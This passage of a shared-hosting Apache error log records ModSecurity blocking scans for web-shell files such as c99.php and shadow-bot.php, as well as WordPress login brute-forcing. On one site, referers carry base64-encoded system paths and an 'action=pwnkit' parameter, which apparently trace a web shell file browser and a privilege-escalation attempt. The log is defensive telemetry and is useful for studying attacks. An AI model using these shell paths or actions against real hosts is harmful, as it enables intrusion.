"mail.expertappliance.org"] [uri "/images/c99.php"] [unique_id "ai3wqCmiP80klyS0NnrijAAAAXY"] [Sat Jun 13 18:07:04.600173 2026] [security2:error] [pid 531155:tid 531221] [remote 17.22.253.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqCmiP80klyS0NnrikAABekE"] [Sat Jun 13 18:07:04.648522 2026] [security2:error] [pid 531797:tid 532125] [client 191.233.234.186:33827] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/invisi.php"] [unique_id "ai3wqMTA7b1mZrmcA-8C1wAAApA"] [Sat Jun 13 18:07:04.717240 2026] [security2:error] [pid 531797:tid 532025] [client 148.113.209.179:41546] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wqMTA7b1mZrmcA-8C2gAAAjE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:04.818661 2026] [security2:error] [pid 531797:tid 532032] [client 191.234.188.123:27986] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/ianmg.php"] [unique_id "ai3wqMTA7b1mZrmcA-8C3gAAAjc"] [Sat Jun 13 18:07:04.838104 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:04.838374 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:04.898648 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE1 [Sat Jun 13 18:07:04.898933 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE1 [Sat Jun 13 18:07:05.203455 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.76:40891] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:05.203892 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.76:40891] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:05.222931 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.63:49044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:05.223188 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.63:49044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:05.378486 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:05.378853 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:05.441073 2026] [security2:error] [pid 531155:tid 531305] [client 148.113.209.179:41550] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wqSmiP80klyS0NnrirAAAAR4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:05.486357 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:07:05.486643 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:07:05.705477 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.101:31892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:05.705908 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.101:31892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:05.764753 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.38:20579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:05.765195 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.38:20579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:05.798519 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.56:36782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:05.798850 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.56:36782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:05.871902 2026] [security2:error] [pid 531797:tid 531942] [remote 148.72.126.143:44332] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.126.72.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "weiserfestival.net"] [uri "/wp-login.php"] [unique_id "ai3wqcTA7b1mZrmcA-8DBQACRU4"] [Sat Jun 13 18:07:05.879512 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:05.879794 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:05.966267 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:05.966734 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:07:06.094405 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.242.16:50982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS81Nw== [Sat Jun 13 18:07:06.094826 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.242.16:50982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS81Nw== [Sat Jun 13 18:07:06.095238 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.101:31906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:06.095532 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.101:31906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:06.126422 2026] [security2:error] [pid 531155:tid 531384] [client 20.9.67.71:64702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/s-axi.php"] [unique_id "ai3wqimiP80klyS0NnrixAAAAW0"] [Sat Jun 13 18:07:06.180449 2026] [security2:error] [pid 531155:tid 531310] [client 20.151.217.54:48167] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/shadow-bot.php"] [unique_id "ai3wqimiP80klyS0NnrixwAAASM"] [Sat Jun 13 18:07:06.182600 2026] [security2:error] [pid 531797:tid 531987] [remote 17.246.23.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqsTA7b1mZrmcA-8DFQACfHo"] [Sat Jun 13 18:07:06.403119 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:06.403548 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:06.466743 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:07:06.467020 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:07:06.542740 2026] [security2:error] [pid 531797:tid 532099] [client 172.56.168.133:52126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wqsTA7b1mZrmcA-8DIQAAAng"] [Sat Jun 13 18:07:06.547007 2026] [security2:error] [pid 531797:tid 532099] [client 172.56.168.133:52126] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wqsTA7b1mZrmcA-8DIQAAAng"] [Sat Jun 13 18:07:06.571442 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:06.572011 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:06.591001 2026] [security2:error] [pid 531155:tid 531390] [client 191.234.188.123:47973] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/sd.php"] [unique_id "ai3wqimiP80klyS0Nnri0wAAAXM"] [Sat Jun 13 18:07:06.600682 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.75:23314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:06.601106 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.75:23314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:06.686557 2026] [security2:error] [pid 531797:tid 531919] [remote 17.22.245.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqsTA7b1mZrmcA-8DLAACgDc"] [Sat Jun 13 18:07:06.815899 2026] [security2:error] [pid 531797:tid 531884] [remote 17.241.227.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqsTA7b1mZrmcA-8DNAACFBQ"] [Sat Jun 13 18:07:06.941014 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:06.941297 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:06.943711 2026] [security2:error] [pid 531155:tid 531367] [client 148.113.209.179:41562] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wqimiP80klyS0Nnri2QAAAVw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:07.031529 2026] [security2:error] [pid 531797:tid 532094] [client 191.234.188.123:63906] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/class-cc.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DPQAAAnM"] [Sat Jun 13 18:07:07.038446 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:07:07.038741 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:07:07.116451 2026] [security2:error] [pid 531797:tid 531934] [remote 37.27.234.213:40284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "medredisolutions.com"] [uri "/wp-login.php"] [unique_id "ai3wq8TA7b1mZrmcA-8DQgACcUY"] [Sat Jun 13 18:07:07.131342 2026] [security2:error] [pid 531155:tid 531245] [remote 17.246.23.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqymiP80klyS0Nnri3QABKlk"] [Sat Jun 13 18:07:07.217196 2026] [security2:error] [pid 531155:tid 531207] [remote 17.241.219.141:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 141.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqymiP80klyS0Nnri3gABYjM"] [Sat Jun 13 18:07:07.267088 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.56:59614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:07.267372 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.56:59614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:07.340156 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.31:22280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:07.340591 2026] [access_compat:error] [pid 531155:tid 531201] [remote 